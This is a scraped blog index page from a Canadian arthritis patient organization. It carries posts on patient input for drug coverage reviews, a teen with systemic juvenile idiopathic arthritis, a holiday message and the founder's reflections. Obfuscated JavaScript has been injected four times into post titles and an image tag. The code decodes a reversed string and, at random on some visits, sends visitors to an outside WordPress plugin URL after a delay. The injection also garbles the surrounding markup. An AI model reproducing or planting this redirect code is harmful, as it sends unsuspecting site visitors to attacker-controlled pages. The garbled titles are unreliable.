Arthritis news. Anytime. Anywhere.

$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and biosimilar infliximab" rel="bookmark">Reminder: Let BC PharmaCare hear “Your Voice” on guselkumab and biosimilar infliximab

Stickman with megaphone calling for patient inputBC PharmaCare is looking for your input on guselkumab (Tremfya™) for the treatment of plaque psoriasis and biosimilar infliximab (Renflexis™) for the treatment of ankylosing spondylitis, adult or pediatric Crohn’s disease, plaque psoriasis, psoriatic arthritis, rheumatoid arthritis, and adult or pediatric ulcerative colitis

Guselkumab (Tremfya™) and biosimilar infliximab (Renflexis™) is now being considered for coverage under the British Columbia Ministry of Health’s PharmaCare program. By filling out a questionnaire on a website called Your Voice, you can provide your input on: Continue reading

Deep Cove teen on systemic juvenile idiopathic arthritis

Picture of Senya Kyle who lives with systemic juvenile idiopathic arthritis

Picture from North Shore News: http://www.nsnews.com/lifestyle/deep-cove-teen-has-cautionary-health-tale-1.23127827

Deep Cove resident Senya Kyle has lived with chronic pain from systemic juvenile idiopathic arthritis (sJIA) since she was a little girl. Senya is now a Grade 10 student at Seycove secondary. Instead of playing soccer and hiking Quarry Rock with her friends and participating in other school activities, she watches from the sidelines. After school, she can’t even join her friends for a walk around the mall.

Due to her sJIA, Senya has fused vertebrae in her neck, along with serious joint damage in her feet. As of yesterday, the number of ankle surgery Senya has gone through is four. According to Senya, every step she takes is a dull ache mixed with stabbing pain in her ankle. Sometimes, her pain is so unbearable that she cannot move. She is forced to live a sedentary life at the young age of 15. In an interview with North Shore News, Senya says: “That’s pretty much all I can do, is sit down and hope that (the pain) will go away.” At her worst, Senya had 40 joints inflamed at one time.

Continue reading

$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and friends!" rel="bookmark">Season’s greetings members, subscribers, followers and friends!

As we say goodbye to 2017, we can reflect on a year where in media coverage, in workplaces, and in our daily conversations, there was much focus on issues that threatened to divide us. The arthritis community in Canada has also faced issues that have challenged us to re-examine our beliefs and principles on how to best serve people living with arthritis.

Seasons Greetings image <script type=$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and message from ACE Cheryl Koehn” width=”600″ height=”450″ />

As I look back over the past 12 months I think of the people with arthritis we have met or engaged with face-to-face and on-line, many of who still face barriers to accessing arthritis trained specialists, public and private health insurance reimbursement for needed medications, emotional and psychological support, income assistance or workplace supports. It’s hard in the world of chronic diseases such as arthritis – marked by pain, disability and individual and family struggle – to see the positive. But I must. I know no other way of living my own life with rheumatoid arthritis (RA) and osteoarthritis (OA) than to try to think positively about my own situation and those our organization serves.
Continue reading

$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reve/" title="Permalink to Cheryl Koehn appointed to the CIHR’s Standing Committee on Ethics" rel="bookmark">Cheryl Koehn appointed to the CIHR’s Standing Committee on Ethics

Picture of Cheryl KoehnCheryl Koehn appointed to the CIHR’s Standing Committee on Ethics

The Canadian Institutes of Health has appointed ACE’s Founder and President, Cheryl Koehn, to a three-year term on the Standing Committee on Ethics for the agency. The committee reports to the Governing Council on emerging ethical issues of strategic relevance to health and health research. It provides the Governing Council with high-level strategic advice on the ethical, legal and socio-cultural dimensions of the Canadian Institutes of Health Research’s mandate as set out by federal statute. The committee can act on its own initiative to advise the Governing Council or at the request of the President of the Canadian Institutes of Health Research.

The committee includes the Chief of Bioethics for UNESCO, a representative of industry, seven university faculty, and now a person living with arthritis.

Call for patient input on brodalumab for moderate to severe plaque psoriasis

Stickman with megaphone calling for patient inputDo you have moderate to severe plaque psoriasis? We need your valuable input.

The Common Drug Review (CDR) is currently welcoming patients and their caregivers to provide input to patient organizations on the manufacturer’s submission for brodalumab for moderate to severe plaque psoriasis.

The CDR is part of the Canadian Agency for Drugs and Technologies in Health (CADTH). The CDR conducts objective, rigorous reviews of the clinical and cost effectiveness of drugs, and provides formulary listing recommendations to the publicly funded drug plans in Canada (except Quebec).

To help them make their recommendations, the CDR accepts input from patient organizations and groups, like Arthritis Consumer Experts (ACE). Because patient input is vitally important to government decision-making about medications, we would like to gather your views and share them with the CDR.

These are the questions they are asking: Continue reading

“ACE @ 18”, what does that mean? – By Cheryl Koehn

“ACE @ 18”, what does that mean?

I was recently at a meeting when a prominent doctor (from another disease area) told me that working with the arthritis community and government to improve models of care for people with arthritis was a “pipe dream”. His comment was in response to a presentation I had just given to about 50 clinical and research specialist physicians. At first, I was taken aback by his comment as I stood at the podium. Thankfully, I knew where I and Arthritis Consumer Experts (ACE) had come from over the last 18 years. We’ve been on a journey to change and save lives by volunteering and working directly with fellow patients and their families, medical and research experts and policy makers. That journey hasn’t been easy; quite the contrary. For the first five years of ACE’s existence, powerful people and organizations wanted us to “go away”. Why? Well, we upset the status quo by bringing to the forefront the experience and voices of patients – real people living with real arthritis – and by refusing to be discouraged and pushed away.

I’m telling you, our valued members, subscribers, fans and followers, this, because I want you to know that 18 years later, we’re going to keep doing what we’ve always done, and more, and we want you to continue to be a part of the journey. You are ACE. You are the experience, the pain, the struggle, the wins, the joy, the challenges we represent. We are family. Brothers and sisters in arthritis, every day, all day.

ACE Cheryl Koehn guest badge at ACRWe started with one person, me. Today, we are the largest arthritis patient organization in Canada with 40,000 members and subscribers across the country. Our membership base is largest in Ontario, Quebec, British Columbia and Alberta, but we have “ACE-ers” in every single province and territory. Whether you live on the West or East coast or in Centre, what we hear from you is the consistent:

Continue reading